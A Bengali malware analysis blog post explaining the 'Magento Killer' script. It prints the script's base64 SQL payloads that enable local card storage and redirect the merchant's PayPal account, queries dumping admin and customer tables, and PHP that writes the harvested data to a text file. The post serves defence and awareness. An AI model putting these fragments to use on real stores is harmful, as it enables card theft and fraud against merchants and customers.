ম্যাজেন্টো কিলার এক্সপ্লয়িট: কীভাবে এটি ম্যাজেন্টো সাইটগুলকে টার্গেট করে এবং এর প্রভাব

ছামালে এক নতুন স্ক্রিপ্ট পাওয়া গেছে যেটির নাম "ম্যাজেন্টো কিলার"। এই স্ক্রিপ্ট সাম্প্রতিক সময়ে ম্যাজেন্টো ওয়েবসাইটগুলকে টার্গেট করছে। স্ক্রিপ্ট $ConfKiller একটি ওয়েবসাইটের সবচেয়ে গুরুত্বপূর্ণ ফাইলকে টার্গেট করে অর্থাৎ কনফিগ ফাইল (কনফিগারেশন ফাইল)। আরও, $ConfKiller স্ক্রিপ্ট যদি সফলভাবে এক্সিকিউট হয় তবে আক্রমণ করা ম্যাজেন্টো ডাটাবেসের core_config_data টেবিল মডিফাই করতে পারে।

যদিও এটি পুরো ম্যাজেন্টো ইনস্টলেশনকে किल করে না তবে এটি ওয়েবসাইটকে নुकসান পৌঁছায়। ম্যাজেন্টো কিলার গম্ভীর ডেটা থেফট-এ জড়িত, যেখানে ডেটাতে থাকে ক্রেডিট কার্ড ইনফো, ব্যক্তিগত শনাক্তযোগ্য তথ্য, ইমেইল, বিলিং ঠিকানা ইত্যাদি।

$ConfKiller: মোডাস অপেরান্ডি

হ্যাকাররা এই ডেটা চুরি করতে ধাপে ধাপে একটি সিরিজ অনুসরণ করে। আমি ম্যাজেন্টো কিলার স্ক্রিপ্টের মোডাস অপেরান্ডি যতটা সম্ভব সহজে ব্যাখ্যা করার চেষ্টা করেছি। তো, এটি যেন:

ধাপ ১: মার্চেন্টের পেপ্যাল অ্যাকাউন্ট রিপ্লেস করা

প্রথমে, আক্রমণকারী বিশেষভাবে এনকোডেড SQL কোয়েরি ইনজেক্ট করে বেস ৬৪-এ। এই ইনজেক্টেড কোয়েরি নিচের तरह দেখায়:

$ConfKiller = array( 'Update DB (Savecc)' => base64_decode('VVBEQVRFIGBjb3JlX2NvbmZpZ19kYXRhYCBTRVQNCmBzY29wZWAgPSAnZGVmYXVsdCcsDQpgc2NvcGVfaWRgID0gJzAnLA0KYHBhdGhgID0gJ3BheW1lbnQvY2NzYXZlL2FjdGl2ZScsDQpgdmFsdWVgID0gJzEnDQpXSEVSRSBgcGF0aGAgPSAncGF5bWVudC9jY3NhdmUvYWN0aXZlJzs='), //UPDATE `core_config_data` SET `scope` = 'default', `scope_id` = '0', `path` = 'payment/ccsave/active', `value` = '1' WHERE `path` = 'payment/ccsave/active'; 'Update PP (MailPP)' => base64_decode('VVBEQVRFIGBjb3JlX2NvbmZpZ19kYXRhYCBTRVQKYHNjb3BlYCA9ICdkZWZhdWx0JywKYHNjb3BlX2lkYCA9ICcwJywKYHBhdGhgID0gJ3BheXBhbC9nZW5lcmFsL2J1c2luZXNzX2FjY291bnQnLApgdmFsdWVgID0gJ1tyZWRhY3RlZF1AZ21haWwuY29tJwpXSEVSRSBgcGF0aGAgPSAncGF5cGFsL2dlbmVyYWwvYnVzaW5lc3NfYWNjb3VudCc7') //UPDATE `core_config_data` SET `scope` = 'default', `scope_id` = '0', `path` = 'paypal/general/business_account', `value` = '[redacted]@gmail.com' WHERE `path` = 'paypal/general/business_account';

যদি আমরা এই কোডটি ভাঙি, তাহলে দেখতে পাই এখানে দুটি রিকোয়েস্ট করা হচ্ছে:

1. Update DB (Savecc): এই রিকোয়েস্টটি, ম্যাজেন্টো ওয়েবসাইটকে কনফিগার করে ক্লায়েন্টের ক্রেডিট কার্ড ইনফরমেশন সার্ভারে সংরক্ষণ করতে বদলে/backend-এ পাঠাতে, যা সাধারণ পরিস্থিতিতে একটি পেমেন্ট প্রসেসর (যেমন authorize.net) -এ পাঠানো হয়।
2. Update PP (MailPP): এখন, এই রিকোয়েস্ট টার্গেট করা ম্যাজেন্টো সাইটে মার্চেন্টের পেপ্যাল অ্যাকাউন্টকে হ্যাকার যেকোনো অ্যাকাউন্টে রিপ্লেস করে যা সে চায়।

সাধারণত ম্যাজেন্টো লোকালি সংরক্ষিত ক্রেডিট কার্ড ইনফরমেশন এনক্রিপ্ট করে, কিন্তু এই কেসে, এটি একোলে অনেক প্রোটেকশন দিতে পারছে না।

অতএব, আক্রমণকারী ম্যাজেন্টো ফাইল ./app/etc/local.xml থেকে এনক্রিপশন কী চুরি করতে পারেন কারণ এখন তাদের ওয়েবসাইটের ফাইলসিস্টেমে অ্যাক্সেস আছে। এই কী দিয়ে তারা ক্রেডিট কার্ড ইনফো ডিক্রিপ্ট করতে পারে কিছু আরও বোঝার যোগ্য কিছুর মধ্যে যেমন প্লেইনটেক্সট।

ধাপ ২: যোগ করা কাস্টমার ইনফো চুরি করা

যদিও হ্যাকার ক্রেডিট কার্ড ইনফরমেশন চুরি করেছে, সে এটা ব্যবহার করতে পারবে না কমপ্লিমেন্টারি ডেটা ছাড়া। তাই, হ্যাকার এরপর যোগ করা কাস্টমার ডেটা পাওয়ার চেষ্টা করে যেমন পূর্ণ নাম, ইমেইল, বিলিং অ্যাড্রেস, ফোন নম্বর ইত্যাদি।

সে নিচের কোডের লাইনগুলো কোয়েরি হিসেবে পাঠায় যা ডাটাবেস হ্যাকারকে দেখায়:

            $query = array( 'admin_user'                        => 'SELECT * FROM admin_user' , 'aw_blog_comment'                   => 'SELECT * FROM aw_blog_comment' , 'core_email_queue_recipients'       => 'SELECT * FROM core_email_queue_recipients' , 'customer_entity'                   => 'SELECT * FROM customer_entity' ,

ধাপ ৩: টেক্সট ফাইলে ডেটা ফেচ করা

শেষে, সে কিছু গুরুত্বপূর্ণ নির্বাচিত ডেটা একটি টেক্সট ফাইলে ট্রান্সফার করে। এই কেসে, *-shcMail.txt হলো টেক্সট ফাইল। নিচে वो কোডগুলো দেওয়া আছে যা ম্যাজেন্টো কিলার দ্বারা আক্রমণের সাফল্য নিশ্চিত করে।

$namefile = md5(time())."-shcMail.txt"; foreach ($query as $shc_key => $shc_query) { $hasil = mysql_query($shc_query); while ( $kolom_db = mysql_fetch_assoc($hasil) ) { $mail[] = $kolom_db[$shcolom[$shc_key]]; $myfile = fopen($namefile, "a+") or die("Unable to open file!"); fwrite($myfile, $kolom_db[$shcolom[$shc_key]]."rn"); fclose($myfile);

এই স্ক্রিপ্ট *-shcMail.txt ফাইলের লিংক জেনারেট করে। শেষে, এটি একটি রেজাল্ট রেন্ডার করে আক্রমণকারীকে জানাতে যে প্রথম দুটি সেটিং পরিবর্তন সফল হয়েছে কিনা।

উপসংহার

আপনার ওয়েবসাইটও এই ম্যালওয়্যার দ্বারা সংক্রমিত থাকলে লক্ষ্য করলে, আপনার ম্যাজেন্টো ওয়েবসাইট থেকে ম্যালওয়্যার পরিষ্কার করার এই গাইড অনুসরণ করুন।

অথবা আপনি অন্য একটি দীর্ঘ পোস্ট পড়ার ঝামেলা থেকে বাঁচতে পারেন এবং তাৎক্ষণিক ম্যালওয়্যার ক্লিনআপ এখানে পান। যদি আপনি এখনও সংক্রমিত নাও হন, তবে এই ম্যাজেন্টো সিকিউরিটি চেকলিস্ট দিয়ে আপনার ওয়েবসাইট সুরক্ষিত করুন।